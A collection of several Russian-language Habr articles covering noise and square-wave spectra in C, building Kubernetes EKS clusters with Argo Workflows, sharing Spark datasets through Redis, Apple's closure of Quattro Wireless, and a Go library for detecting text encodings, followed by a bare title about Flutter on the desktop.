Для начала построим спектр шума. Тема про шумы, случайные сигналы и т.п. достойна отдельного курса. Но мы её коснёмся слегка. Модифицируем нашу программу генерации wav-файла, добавим одну процедуру:
```
double d_random(double min, double max)
{
return min + (max - min) / RAND_MAX * rand();
}
```
она будет генерировать случайное число в заданном диапазоне. В результате main будет выглядеть так:
```
int main(int argc, char * argv[])
{
int i;
float amplitude = 32000;
srand((unsigned int)time(0)); //инициализируем генератор случайных чисел
for (i=0; i
```
Сгенерируем [файл](http://yadi.sk/d/TInX4aPDMSMS4), (рекомендую к прослушиванию). Поглядим его в audacity.
**Сигнал в audacity**
Поглядим спектр в программе audacity.
**Спектр**
И поглядим спектр с помощью нашей программы:
**Наш спектр**
Хочу обратить внимание на очень интересный факт и особенность шума — он содержит в себе спектры всех гармоник. Как видно из графика, спектр вполне себе ровный. Как правило, [белый шум](http://ru.wikipedia.org/wiki/%D0%91%D0%B5%D0%BB%D1%8B%D0%B9_%D1%88%D1%83%D0%BC) используется для частотного анализа пропускной способности, например, аудиоаппаратуры. Существуют и другие виды шумов: *розовый, синий и другие*. Домашнее задание — узнать, чем они отличаются.
##### А компот?
А теперь давайте посмотрим другой интереснейший сигнал — меандр. Я там выше приводил табличку разложений различных сигналов в ряды Фурье, вы поглядите как раскладывается меандр, выпишите на бумажку, и мы продолжим.
Для генерации меандра с частотой 25 Гц мы модифицируем в очередной раз наш генератор wav-файла:
```
int main(int argc, char * argv[])
{
int i;
short int meandr_value=32767;
/* fill buffer with a sine wave */
for (i=0; i
```
В результате получим звуковой [файл](http://yadi.sk/d/0jbliiRAMSMnN) (опять же, советую послушать), который сразу надо посмотреть в audacity
**Его величество — меандр или меандр здорового человека**
Не будем томиться и поглядим его спектр:
**Спектр меандра**
Пока не очень что-то понятно, что такое… А давайте поглядим несколько первых гармоник:
**Первые гармоники**
Совсем другое дело! Ну-ка поглядим табличку. Смотрите-ка, у нас есть только 1, 3, 5 и т.д., т.е. нечётные гармоники. Мы так и видим, что у нас первая гармоника 25 Гц, следующая (третья) 75 Гц, затем 125 Гц и т.д., при этом у нас амплитуда постепенно уменьшается. Теория сошлась с практикой!
А теперь внимание! В реальной жизни сигнал меандра у нас имеет бесконечную сумму гармоник всё более и более высокой частоты, но как правило, реальные электрические цепи не могут пропускать частоты выше какой-то частоты (в силу индуктивности и ёмкости дорожек). В результате на экране осциллографа можно часто увидеть вот такой сигнал:
**Меандр курильщика**
Эта картинка прям как картинка из [википедии](http://ru.wikipedia.org/wiki/%D0%A0%D1%8F%D0%B4_%D0%A4%D1%83%D1%80%D1%8C%D0%B5), где для примера меандра берутся не все частоты, а только первые несколько.
**Сумма первых гармоник, и как меняется сигнал**
Меандр так же активно используется в радиотехнике (надо сказать, что — это основа всей цифровой техники), и стоит понимать что при длинных цепях его может отфильтровать так, что, родная мама не узнает. Его так же используют для проверки АЧХ различных приборов. Ещё интересный факт, что глушилки телевизоров работали именно по принципу высших гармоник, когда сама микросхема генерировала меандр десятки МГц, а его высшие гармоники могли иметь частоты сотни МГц, как раз на частоте работы телевизора, и высшие гармоники успешно глушили сигнал вещания телевизора.
Вообще тема подобных экспериментов бесконечная, и вы можете теперь сами её продолжить.
#### Рекомендации по прочтению
**Книга**
Для тех, кто нифига не понял, что мы тут делаем, или наоборот, для тех, кто понял, но хочет разобраться ещё лучше, а так же для студентам, изучающим ЦОС, крайне рекомендую эту книгу. Это ЦОС для чайников, которым является автор данного поста. Там доступным даже для ребёнка языком рассказываются сложнейшие понятия.
#### Заключение
В заключении хочу сказать, что математика — царица наук, но без реального применения многие люди теряют к ней интерес. Надеюсь, данный пост подстегнёт вас к изучению такого замечательного предмета, как обработка сигналов, и вообще аналоговой схемотехнике (затыкайте уши, чтобы не вытекали мозги!). :)
Удачи! | https://habr.com/ru/post/219337/ | null | ru | null |
# Построение кластеров Kubernetes средствами самого Kubernetes
Думаете, я сошел с ума? Я уже сталкивался с такой реакцией, когда впервые предложил развертывать кластеры Kubernetes с помощью Kubernetes.
Но я убежден, что для автоматизации облачной инфраструктуры нет более эффективного инструмента, чем сам Kubernetes. С помощью одного центрального кластера K8s мы можем создать сотни других подконтрольных кластеров K8s. В этой статье я покажу, как это делается.
> Примечание.SAP Concur использует AWS EKS, но рассматриваемые здесь концепции также применимы к Google GKE, Azure AKS и любым другим реализациям Kubernetes от облачных провайдеров.
>
>
### Готовность к эксплуатации в рабочей среде
Создать кластер Kubernetes у любого из распространенных облачных провайдеров стало проще простого. Например, в AWS EKS кластер поднимается одной командой:
`$ eksctl create cluster`
Совсем другое дело, если нужно получить кластер Kubernetes, готовый к эксплуатации в рабочей среде — «production-ready» Понятие «production-ready» может толковаться по-разному, но в SAP Concur используются следующие четыре этапа для создания и предоставления кластеров Kubernetes, готовых к эксплуатации в рабочей среде.
### Четыре этапа сборки
* **Предварительное тестирование.**Перечень простых тестов целевой среды AWS, которые проверяют соответствие всем необходимым требованиям до начала сборки кластера. Например, проверяются доступные IP-адреса в подсетях, экспортируемые параметры для AWS, параметры SSM или другие переменные.
* **Уровень управления EKS и группа узлов.** Непосредственно сборка кластера AWS EKS с подключением рабочих узлов.
* **Установка дополнений.** Добавим в кластер любимую приправу. :) По желанию можно установить такие дополнения, как Istio, Logging Integration, Autoscaler и пр.
* **Валидация кластера.**На этом этапе мы проверяем кластер (основные компоненты EKS и дополнения) с функциональной точки зрения перед его передачей в эксплуатацию. Чем больше тестов вы напишете, тем крепче будете спать. (Особенно, если в техподдержке именно вы на дежурстве!)
### Склеиваем все вместе
Четыре этапа сборки включают в себя разные инструменты и методы (мы вернемся к ним позже). Нам нужен был универсальный инструмент для всех этапов, который склеил бы все вместе, поддерживал последовательное и параллельное выполнение, был событийно-ориентированным и, желательно, визуализировал сборку.
В результате мы нашли семейство решений [Argo](https://argoproj.github.io/), в частности инструменты [Argo Events](https://argoproj.github.io/projects/argo-events/) и [Argo Workflows](https://argoproj.github.io/projects/argo/). Они оба запускаются в Kubernetes как CRD и полагаются на декларативную концепцию YAML, как и множество других развертываний Kubernetes.
У нас получилась идеальная комбинация: императивная оркестрация и декларативная автоматизация
Кластер K8s, готовый к эксплуатации в рабочей среде. Создан с помощью Argo Workflows### Поэтапная реализация процесса в Argo Workflows
**Argo Workflows** — это движок рабочих процессов с открытым кодом и нативной поддержкой контейнеров, предназначенный для оркестрации параллельных заданий в среде Kubernetes. Argo Workflows реализован как Kubernetes CRD.
> Примечание. Если вы знакомы с K8s YAML, обещаю, что вы разберетесь.
>
>
Давайте посмотрим, как все эти четыре этапа сборки могут выглядеть в Argo Workflows.
#### 1. Предварительное тестирование
Предварительные тесты выполняются параллельно, с повторением попыток в случае сбоевМы пишем тесты на [фреймворке BATS](https://github.com/bats-core/bats-core). Написать предварительный тест в BATS очень просто:
```
#!/usr/bin/env bats
@test “More than 100 available IP addresses in subnet MySubnet” {
AvailableIpAddressCount=$(aws ec2 describe-subnets --subnet-ids MySubnet | jq -r ‘.Subnets[0].AvailableIpAddressCount’)
[ “${AvailableIpAddressCount}” -gt 100 ]
}
```
Параллельный запуск приведенного выше тестового файла BATS (`avail-ip-addresses.bats`) вместе с тремя другими вымышленными тестами BATS через Argo Workflows выглядит следующим образом:
```
— name: preflight-tests
templateRef:
name: argo-templates
template: generic-template
arguments:
parameters:
— name: command
value: “{{item}}”
withItems:
— bats /tests/preflight/accnt-name-export.bats”
— bats /tests/preflight/avail-ip-addresses.bats”
— bats /tests/preflight/dhcp.bats”
— bats /tests/preflight/subnet-export.bats”
```
#### 2. Уровень управления EKS и группа узлов
Уровень управления EKS и группа узлов с зависимостямиДля построения кластера EKS можно использовать любой удобный инструмент. Например, `eksctl`, CloudFormation или Terraform. Двухэтапное построение базового кластера EKS с зависимостями в Argo Workflows с помощью шаблонов CloudFormation (`eks-controlplane.yaml` и `eks-nodegroup.yaml`) реализуется следующим образом.
```
— name: eks-controlplane
dependencies: [“preflight-tests”]
templateRef:
name: argo-templates
template: generic-template
arguments:
parameters:
— name: command
value: |
aws cloudformation deploy \
--stack-name {{workflow.parameters.CLUSTER_NAME}} \
--template-file /eks-core/eks-controlplane.yaml \
--capabilities CAPABILITY_IAM
- name: eks-nodegroup
dependencies: [“eks-controlplane”]
templateRef:
name: argo-templates
template: generic-template
arguments:
parameters:
— name: command
value: |
aws cloudformation deploy \
--stack-name {{workflow.parameters.CLUSTER_NAME}}-nodegroup \
--template-file /eks-core/eks-nodegroup.yaml \
--capabilities CAPABILITY_IAM
```
#### 3. Установка дополнений
Параллельная установка дополнений с зависимостямиДля установки дополнений можно применить `kubectl`, `helm`, `kustomize` или их комбинацию. Например, установка дополнения `metrics-server` с шаблоном `helm` и `kubectl`, при условии что запрошена установка `metrics-server`, может выглядеть в Argo Workflows следующим образом.
```
— name: metrics-server
dependencies: [“eks-nodegroup”]
templateRef:
name: argo-templates
template: generic-template
when: “‘{{workflow.parameters.METRICS-SERVER}}’ != none”
arguments:
parameters:
— name: command
value: |
helm template /addons/{{workflow.parameters.METRICS-SERVER}}/ \
--name “metrics-server” \
--namespace “kube-system” \
--set global.registry={{workflow.parameters.CONTAINER_HUB}} | \
kubectl apply -f -
```
#### 4. Валидация кластера
Параллельная валидация кластера с повторением попыток в случае сбоевДля валидации дополнений мы применяем BATS-библиотеку [DETIK](https://github.com/bats-core/bats-detik), которая заметно упрощает написание тестов для K8s.
```
#!/usr/bin/env bats
load “lib/utils”
load “lib/detik”
DETIK_CLIENT_NAME=”kubectl”
DETIK_CLIENT_NAMESPACE="kube-system"
@test “verify the deployment metrics-server” {
run verify “there are 2 pods named ‘metrics-server’”
[ “$status” -eq 0 ]
run verify “there is 1 service named ‘metrics-server’”
[ “$status” -eq 0 ]
run try “at most 5 times every 30s to find 2 pods named ‘metrics-server’ with ‘status’ being ‘running’”
[ “$status” -eq 0 ]
run try “at most 5 times every 30s to get pods named ‘metrics-server’ and verify that ‘status’ is ‘running’”
[ “$status” -eq 0 ]
}
```
Запуск приведенного выше тестового файла BATS DETIK (`metrics-server.bats`), при условии что установлено дополнение `metrics-server`, можно реализовать в Argo Workflows так:
```
— name: test-metrics-server
dependencies: [“metrics-server”]
templateRef:
name: worker-containers
template: addons-tests-template
when: “‘{{workflow.parameters.METRICS-SERVER}}’ != none”
arguments:
parameters:
— name: command
value: |
bats /addons/test/metrics-server.bats
```
Только представьте, сколько еще можно сюда подключить тестов. Нужны тесты [Sonobuoy](https://sonobuoy.io/), [Popeye](https://popeyecli.io/) или [Fairwinds Polaris](https://github.com/FairwindsOps/polaris)? Просто подключите их через Argo Workflows!
К этому моменту у вас должен получиться полнофункциональный, готовый к эксплуатации в рабочей среде кластер AWS EKS с установленным дополнением `metrics-server`. Все тесты пройдены, кластер можно принимать в работу. Дело сделано!
Но мы еще не прощаемся — самое интересное я оставил напоследок.
### Шаблоны рабочих процессов
Argo Workflows поддерживает многоразовые шаблоны рабочих процессов (WorkflowTemplates). Каждый из **четырех этапов сборки** представляет собой такой шаблон. По сути, мы получили сборочные элементы, которые можно произвольно комбинировать друг с другом. Все этапы сборки можно выполнять по порядку через главный рабочий процесс (как в примере выше) или можно запускать их независимо друг от друга. Такая гибкость стала возможной благодаря Argo Events.
### Argo Events
**Argo Events** — это событийно-ориентированный фреймворк для Kubernetes, который позволяет инициировать объекты K8s, Argo Workflows, бессерверные рабочие нагрузки и другие операции на основе различных триггеров, таких как веб-хуки, события в S3, расписания, очереди сообщений, Google Cloud Pub/Sub, SNS, SQS и пр.
Сборка кластера запускается посредством API-вызова (Argo Events) с использованием полезной нагрузки из JSON. Кроме того, каждый из четырех этапов сборки (WorkflowTemplates) имеет собственную конечную точку API. Операторы Kubernetes (*то есть люди*) получают явные преимущества:
* Не уверены, в каком состоянии находится облачная среда? **Вызывайте API предварительных тестов**.
* Хотите собрать «голый» кластер EKS? **Вызывайте API eks-core (control-plane и nodegroup)**.
* Хотите установить или переустановить дополнения в существующем кластере EKS? **Вызывайте API дополнений**.
* Кластер начал чудить и вам нужно быстро его протестировать? **Вызывайте API тестирования**.
### Возможности Argo
Решения [Argo Events](https://github.com/argoproj/argo-events/tree/master/examples) и [Argo Workflows](https://github.com/argoproj/argo/tree/master/examples) предлагают широкий функционал прямо «из коробки», не нагружая вас лишней работой.
Вот семь самых востребованных функций:
* Параллелизм
* Зависимости
* Повторные попытки (см. выделенные красным предварительные тесты и тесты валидации на рисунках выше: они завершались сбоем, но Argo повторял их до успешного прохождения)
* Условия
* Поддержка S3
* Шаблоны рабочих процессов
* Параметры сенсоров событий
### Заключение
Мы подружили множество различных инструментов и смогли через них императивно задать желаемое состояние инфраструктуры. Мы получили гибкое, бескомпромиссное и быстрое в реализации решение на основе Argo Events и Workflows. В планах — приспособить эти инструменты под другие задачи автоматизации. Возможности безграничны.
---
> Перевод материала подготовлен в рамках курса [**«Инфраструктурная платформа на основе Kubernetes»**](https://otus.pw/yluz/). Всех желающих приглашаем на двухдневный онлайн-интенсив [«Примитивы, контроллеры и модели безопасности k8s»](https://otus.pw/HkyO/). На нем будет обзор и практика по основным примитивам и контроллерам к8с. Рассмотрим, чем отличаются и в каких случаях используются. Регистрация [**здесь**](https://otus.pw/HkyO/)
>
> | https://habr.com/ru/post/562188/ | null | ru | null |
# Совместный доступ к Spark-датасетам из разных приложений — Redis нам в помощь
[Apache Spark](https://spark.apache.org/), универсальная платформа для крупномасштабной обработки данных, в сочетании с [Redis](https://github.com/RedisLabs/spark-redis) способна обеспечить ускоренные расчеты в реальном времени для таких задач, как анализ временных рядов, прогнозы и рекомендации на основе машинного обучения и т. д.
Spark также способен извлекать датасеты в кэш-память кластера. Это невероятно полезно, когда приложению необходимо многократно запрашивать одни и те же данные. Если вы используете датасет, создание которого достаточно затратно, и который потом используется в вашем приложении не один раз, то этот датасет обязательно нужно кэшировать. Но если вы захотите получить доступ к этому датасету сразу из нескольких приложений, то вам придется поломать голову, как это сделать. Здесь на помощь приходит коннектор Spark-Redis.
[Redis](https://redis.io/) — это размещаемое в памяти хранилище структур данных с открытым исходным кодом (под лицензией BSD), используемое в качестве базы данных, кэша и брокера сообщений. Оно поддерживает множество разных структур данных, таких как строки, хэши, списки, сэты и так далее.
Redis Labs недавно опубликовала в общий доступ пакет “spark-redis”. Как следует из названия, это коннектор Redis для Apache Spark, который обеспечивает доступ для чтения и записи ко всем основным структурам данных Redis в виде RDD (Resilient Distributed Datasets, в терминологии Spark), что позволяет Spark использовать Redis в качестве одного из источников данных. Этот коннектор предоставляет Spark структуры данных Redis, тем самым обеспечивая значительный прирост производительности для всех типов расчетов. Он также позволяет нам организовать совместный доступ к DataSet/DataFrame/RDD Spark из сразу нескольких разных приложений.
Но прежде чем мы сможем использовать коннектор Spark-Redis, нам сперва нужно позаботиться о наличии нескольких ключевых элементов, а именно: [Apache Spark](http://spark.apache.org/), [Scala](http://www.scala-lang.org/), [Jedis](https://github.com/xetorthio/jedis) и [Redis](https://redis.io/).
Чтобы без особой необходимости не растягивать этот пост, предположим, что о всем вышеперечисленном вы уже позаботились. Поэтому давайте сразу перейдем к делу — как запустить эту мощную комбинацию. Включите указанные ниже зависимости в свой проект вместе со Spark:
[spark-redis](https://mvnrepository.com/artifact/com.redislabs/spark-redis/2.3.1-M1)
[jedis](https://mvnrepository.com/artifact/redis.clients/jedis/2.9.0)
Совместный доступ к датасету из разных приложений### Запись Spark-датасета из одного приложения в Redis с помощью Scala
Следующий фрагмент кода демонстрирует, как выглядит кэширование Spark-датасета в Redis:
```
def main(args: Array[String]): Unit = {
val sparkSession = org.apache.spark.sql.SparkSession.builder
.config(new SparkConf()
.setMaster("local")
.setAppName("myApp")
// начальный хост Redis - может быть любым узлом в кластерном режиме
.set("redis.host", "localhost")
// начальный порт redis
.set("redis.port", "6379")
// опциональный AUTH-пароль redis
//.set("redis.auth", "")
).getOrCreate;
val path = "/dev/test/test.csv"
val base_df = sparkSession.read.option("header","true").csv(path)
// сохраняем датасет в Redis
base_df.write
.format("org.apache.spark.sql.redis")
.option("table", "temp")
.mode(SaveMode.Overwrite)
.save()
}
```
### Чтение Spark-датасета из Redis с помощью Scala
Следующий фрагмент кода демонстрирует, как читать кэшированный Spark-датасет из Redis:
```
def main(args: Array[String]): Unit = {
val sparkSession = org.apache.spark.sql.SparkSession.builder
.config(new SparkConf()
.setMaster("local")
.setAppName("myApp")
// начальный хост Redis — может быть любым узлом в кластерном режиме
.set("redis.host", "localhost")
// начальный порт redis
.set("redis.port", "6379")
// опциональный AUTH-пароль redis
//.set("redis.auth", "")
).getOrCreate;
// считываем ранее сохраненный датасет из Redis
val loadedDf = sparkSession.read
.format("org.apache.spark.sql.redis")
.option("table", "temp")
.load()
loadedDf.printSchema()
loadedDf.show()
}
```
### Преимущества использования Redis со Spark
* Redis может повысить производительность Spark до 50 раз для некоторых вариантов использования, таких как, например, spark-timeseries. Коннектор [Spark-Redis](https://github.com/RedisLabs/spark-redis) автоматизирует их, предоставляя Spark API и структуры данных Redis.
На приведенном ниже графике, взятом с сайта redislabs.com, показан прирост производительности при использовании Redis Cache вместе со Spark.
На графике показано среднее время выполнения для разных сценариев.* Redis позволяет Spark совместно использовать датасет разными приложениями.
* Структуры данных Redis позволяют получить доступ к отдельным элементам данных, сводя к минимуму накладные расходы на сериализацию/десериализацию и избегая необходимости передавать туда-сюда большие фрагменты данных.
* Модули Redis, такие как [Redis-ML](https://github.com/RedisLabs/spark-redis-ml), ускоряют библиотеки Spark ML, позволяя реализовать быстрейшую доставку моделей машинного обучения, которые изначально хранятся в Redis, могут повторно использоваться во многих приложениях и языках, легко развертываются в рабочей среде с уменьшенной в 5–10 раз задержкой выполнения.
### Заключение
Redis “утоляет жажду” Spark к данным. Spark-Redis позволяет объединить RDD и основные структуры данных Redis с помощью всего одной строчки кода на Scala. Пакет Spark-Redis предоставляет прямой доступ для чтения/записи ко всем основным структурам данных с параллелизацией RDD и bpzoysq (т. е. на основе SCAN) способ получения имен ключей. Кроме того, коннектор заключает в себе значительный скрытый потенциал, поскольку он фактически поддерживает кластер (Redis) и сопоставляет партиции RDD с хэш-слотами, чтобы уменьшить перетасовку между ядрами (inter-engine shuffling).
#### Ссылки
Коннектор для Spark, который позволяет читать и записывать в/из кластера Redis — [RedisLabs/spark-redis](https://github.com/RedisLabs/spark-redis)
---
Какие коннекторы используются Spark из коробки, какие коннекторы подключаются из библиотек, а какие и когда надо писать самому? Ответы на эти вопросы можно получить на открытом уроке «Использование коннекторов для Spark». Регистрация [по ссылке.](https://otus.pw/TEcZ/) | https://habr.com/ru/post/703136/ | null | ru | null |
# Автоопределение кодировки текста
Введение
--------
Я очень люблю программировать, я любитель и первый и последний раз заработал на программировании в далёком 1996 году. Но для автоматизации повседневных задач иногда что-то пишу. Примерно год назад открыл для себя golang. В качестве инструмента создания утилит golang оказался очень удобным. Итак.
Возникла потребность обработать большое количество (больше тысячи, так и вижу улыбки профи) архивных файлов со специальной геофизической информацией. Формат файлов текстовый, простой. Если вдруг интересно то это [LAS формат](http://www.cwls.org/las/).
LAS файл содержит заголовок и данные.
Данные практически CSV, только разделитель табуляция или пробелы.
А заголовок содержит описание данных и вот в нём обычно содержится русский текст. Это может быть название месторождения, название исследований, записанных в файл и пр.
Файлы эти созданы в разное время и в разных программах, доходит до того, что в одном файле часть в кодировке CP1251, а часть в CP866. Файлы эти мне нужно обработать, а значит понять. Вот и потребовалось определять автоматически кодировку файла.
В итоге изобрёл велосипед на golang и соответственно родилась маленькая библиотечка с возможностью детектировать кодовую страницу.
*Про кодировки. Не так давно на хабре была хорошая статья про кодировки* [Как работают кодировки текста. Откуда появляются «кракозябры». Принципы кодирования. Обобщение и детальный разбор](https://habr.com/ru/post/478636/) *Если хочется понять, что такое “кракозябры” или “кости”, то стоит прочитать.*
В начале я накидал своё решение. Потом пытался найти готовое работающее решение на golang, но не вышло. Нашлось два решения, но оба не работают.
* Первое “из коробки”— golang.org/x/net/html/charset функция DetermineEncoding()
* Второе библиотека — saintfish/chardet на github
Обе уверенно ошибаются на некоторых кодировках. Стандартная та вообще почти ничего определить не может по текстовым файлам, оно и понятно, её для html страниц делали.
При поиске часто натыкался на готовые утилиты из мира linux — **enca**. Нашёл её версию скомпилированную для WIN32, версия 1.12. Её я тоже рассмотрю, там есть забавности. Я прошу сразу прощения за своё полное незнание linux, а значит возможно есть ещё решения которые тоже можно попытаться прикрутить к golang коду, я больше искать не стал.
Сравнение найденных решений на автоопределение кодировки
--------------------------------------------------------
Подготовил каталог [softlandia\cpd тестовые данные](https://github.com/softlandia/cpd.git) с файлами в разных кодировках. Содержимое файлов очень короткое и одинаковое. Одна строка “Русский в кодировке CodePageName”. Дополнил файлами со смешением кодировок и некоторыми сложными случаями и попробовал определить.
Мне кажется, получилось забавно.
| # | Кодировка | html/charset | saintfish/chardet | softlandia/cpd | enca |
| --- | --- | --- | --- | --- | --- |
| 1 | CP1251 | windows-1252 | CP1251 | CP1251 | CP1251 |
| 2 | CP866 | windows-1252 | windows-1252 | CP866 | CP866 |
| 3 | KOI8-R | windows-1252 | KOI8-R | KOI8-R | KOI8-R |
| 4 | ISO-8859-5 | windows-1252 | ISO-8859-5 | ISO-8859-5 | ISO-8859-5 |
| 5 | UTF-8 with BOM | utf-8 | utf-8 | utf-8 | utf-8 |
| 6 | UTF-8 without BOM | utf-8 | utf-8 | utf-8 | utf-8 |
| 7 | UTF-16LE with BOM | utf-16le | utf-16le | utf-16le | ISO-10646-UCS-2 |
| 8 | UTF-16LE without BOM | windows-1252 | ISO-8859-1 | utf-16le | **unknown** |
| 9 | UTF-16BE with BOM | utf-16le | utf-16be | utf-16be | ISO-10646-UCS-2 |
| 10 | UTF-16BE without BOM | windows-1252 | ISO-8859-1 | utf-16be | ISO-10646-UCS-2 |
| 11 | UTF-32LE with BOM | utf-16le | utf-32le | utf-32le | ISO-10646-UCS-4 |
| 12 | UTF-32LE without BOM | windows-1252 | utf-32le | utf-32le | ISO-10646-UCS-4 |
| 13 | UTF-32BE with BOM | windows-1252 | utf-32be | utf-32be | ISO-10646-UCS-4 |
| 14 | UTF-32BE without BOM | windows-1252 | utf-32be | utf-32be | ISO-10646-UCS-4 |
| 15 | KOI8-R (UPPER) | windows-1252 | KOI8-R | KOI8-R | **CP1251** |
| 16 | CP1251 (UPPER) | windows-1252 | CP1251 | CP1251 | **KOI8-R** |
| 17 | CP866 & CP1251 | windows-1252 | CP1251 | CP1251 | unknown |
### Наблюдение 1
**enca** не определила кодировку у файла UTF-16LE без BOM — это странно, ну ладно. Я попробовал добавить больше текста, но результата не получил.
### Наблюдение 2. Проблемы с кодировками CP1251 и KOI8-R
Строка 15 и 16. У команды enca есть проблемы.
Здесь сделаю объяснение, дело в том, что кодировки CP1251 (она же Windows 1251) и KOI8-R очень близки если рассматривать только алфавитные символы.
#### Таблица CP 1251
#### Таблица KOI8-r
В обеих кодировках алфавит расположен от **0xC0** до **0xFF**, но там, где у одной кодировки заглавные буквы, у другой строчные. Судя по всему **enca**, работает по строчным буквам. Вот и получается, если подать на вход программе **enca** строку “СТП” в кодировке *CP1251*, то она решит, что это строка “яро” в кодировке *KOI8-r*, о чём и сообщит. В обратную сторону также работает.
### Наблюдение 3
Стандартной библиотеке *html/charset* можно доверить только определение **UTF-8**, но осторожно! Пользоваться следует именно *charset.DetermineEncoding()*, поскольку метод *utf8.Valid(b []byte)* на файлах в кодировке **utf-16be** возвращает *true*.
Собственный велосипед
---------------------
Автоопределение кодировки возможно только эвристическими методами, неточно. Если мы не знаем, на каком языке и в какой кодировке записан текстовый файл, то определить кодировку с высокой точночностью наверняка можно, но будет сложновато… и нужно будет достаточно много текста.
Для меня такая цель не стояла. Мне достаточно определять кодировки в предположении, что там есть русский язык. И второе, определять нужно по небольшому количеству символов – на 10 символах должно быть достаточно уверенное определение, а желательно вообще на 5–6 символах.
### Алгоритм
Когда я обнаружил совпадение кодировок KOI8-r и CP1251 по местоположению алфавита, то на пару дней загрустил… стало понятно, что чуть-чуть придётся подумать. Получилось так.
Основные решения:
1. Работу будем вести со слайсом байтов, для совместимости с charset.DetermineEncoding()
2. Кодировку UTF-8 и случаи с BOM проверяем отдельно
3. Входные данные передаём по очереди каждой кодировке. Каждая сама вычисляет два целочисленных критерия. У кого сумма двух критериев больше, тот и выиграл.
### Критерии соответствия
#### Первый критерий
Первым критерием является количество самых популярных букв русского алфавита.
Наиболее часто встречаются буквы: **о, е, а, и, н, т, с, р, в, л, к, м, д, п, у**. Данные буквы дают 82% покрытия. Для всех кодировок кроме KOI8-r и CP1251 я использовал только первые 9 букв: о, е, а, и, н, т, с, р, в. Этого вполне хватает для уверенного определения.
А вот для KOI8-r и CP1251 пришлось доработать напильником. Коды некоторых из этих букв совпадают, например буква **о** имеет в CP1251 код 0xEE при этом в KOI8-r этот код у буквы **н**. Для этих кодировок были взяты следующие популярные буквы. Для CP1251 использовал а, и, н, с, р, в, л, к, я. Для KOI8-r — о, а, и, т, с, в, л, к, м.
#### Второй критерий
К сожалению, для очень коротких случаев (общая длина русского текста 5-6 символов) встречаемость популярных букв на уровне 1-3 шт и происходит нахлёст кодировок KOI8-r и CP1251. Пришлось вводить второй критерий. Подсчёт количества пар **согласная+гласная**.
Такие комбинации ожидаемо наиболее часто встречаются в русском языке и соответственно в той кодировке в которой число таких пар больше, та кодировка имеет больший критерий.
Вычисляются оба критерия, складываются и полученная сумма является итоговым критерием.
Результат отражен в таблице выше.
Особенности, с которыми я столкнулся
------------------------------------
Чуть коснусь прелестей и проблем, связанных с golang. Раздел может быть интересен только начинающим писать на golang.
### Проблемы
Лично походил по некоторым подводным камушкам из [50 оттенков Go: ловушки, подводные камни и распространённые ошибки новичков](https://habr.com/ru/company/mailru/blog/314804/).
Излишне переживая и пытаясь дуть на воду, прослышав от других о страшных ожогах от молока, переборщил с проверкой входного параметра типа io.Reader. Я проверял переменную типа io.Reader с помощью рефлексии.
```
//CodePageDetect - detect code page of ascii data from reader 'r'
func CodePageDetect(r io.Reader, stopStr ...string) (IDCodePage, error) {
if !reflect.ValueOf(r).IsValid() {
return ASCII, fmt.Errorf("input reader is nil")
}
...
```
Но как оказалось в моём случае достаточно проверить на nil. Теперь всё стало проще
```
func CodePageDetect(r io.Reader, stopStr ...string) (IDCodePage, error) {
//test input interfase
if r == nil {
return ASCII, nil
}
//make slice of byte from input reader
buf, err := bufio.NewReader(r).Peek(ReadBufSize)
if (err != nil) && (err != io.EOF) {
return ASCII, err
}
...
```
вызов bufio.NewReader( r ).Peek(ReadBufSize) спокойно проходит следующий тест:
```
var data *os.File
res, err := CodePageDetect(data)
```
В этом случае Peek() возвращает ошибку.
Разок наступил на грабли с передачей массивов по значению. Немного тупанул на попытке изменять элементы, хранящиеся в map, пробегая по ним в range…
### Прелести
Сложно сказать что конкретно, постоянное ли битьё по рукам от линтера и компилятора или активное использование range, или всё вместе, но практически отсутствуют залёты по выходу индекса за пределы.
Конечно, очень приятно жить со сборщиком мусора. Полагаю мне ещё предстоит освоить грабли автоматизации выделения/освобождения памяти, но пока дебильная улыбка не покидает лица.
Строгая типизация — тоже кусочек счастья.
Переменные, имеющие тип функции — соответственно лёгкая реализация различного поведения у однотипных объектов.
Странно мало пришлось сидеть в отладчике, перечитывание кода обычно даёт результат.
Щенячий восторг от наличия массы инструментов из коробки, это чудное ощущение, когда компилятор, язык, библиотека и IDE Visual Studio Code работают на тебя вместе, слаженно.
Спасибо [falconandy](https://habr.com/ru/users/falconandy/) за конструктивные и полезные советы
Благодаря ему
1. перевёл тесты на [testify](https://github.com/stretchr/testify) и они действительно стали более читабельны
2. исправил в тестах пути к файлам данных для совместимости с Linux
3. прошёлся [линтером](https://github.com/golangci/golangci-lint/releases) — таки он нашёл одну реальную ошибку (проклятущий copy/past)
Продолжаю добавлять тесты, выявился случай не определения UTF16. Обновил. Теперь UTF16 и LE и BE определяются даже в случае отсутствия русских букв | https://habr.com/ru/post/483166/ | null | ru | null |
# Quattro Wireless приходит конец
Я имею некоторый опыт разработки под Android. Как и многие разработчики из нашей необъятной родины, я не имел возможности публиковать платные приложения. После недолгих раздумий я решил вставить рекламу, а в качестве поставщика выбрал Quattro Wireless. Все было хорошо, но вот сегодня я получил письмо от компании Apple:
`About Quattro Wireless and the iAd Network
Since the launch of the iAd Network just over a month ago, advertisers and developers have been telling us how much they love this powerful new way to reach iPhone and iPod touch users right in their favorite apps.
iAds are captivating viewers with high-quality video and rich media experiences, engaging customers like never before and already delivering dramatic results. Advertisers are seeing a huge spike in the amount of time customers spend watching and interacting with ads, making them more comparable to television advertising than traditional online ads, and developers are thrilled with this new source of revenue.
We believe iAd is the best mobile ad network in the world, and starting next month we're going to focus all of our resources on the iAd advertising platform. We are no longer accepting new campaigns for the Quattro Wireless Network, and we will soon begin winding down existing campaigns. As of September 30, we will support ads exclusively for the iAd Network.
Advertisers can learn more about iAd here. If you are a developer, find out how to generate revenue and promote your apps using iAd here.
We look forward to working with you on this incredible new opportunity in mobile advertising. If you are a current Quattro Wireless developer or advertiser and have questions about this change, please contact your account manager.`
Собственно речь идет о недавнем приобритении яблоком компании Quattro Wireless. На мой взгляд они покупали ее только для того, что бы забрать клиентов к своей iAd. А разработчики под другие системы, отличные от iOs остаются за бортом. Как-то очень слабо верится, что Apple снизойдет для поддержки «чужих» устройств.
Печально это как-то осознавать, что Apple убивает такой проект, по крайней мере для меня. | https://habr.com/ru/post/102289/ | null | ru | null |
# Flutter и настольные приложения
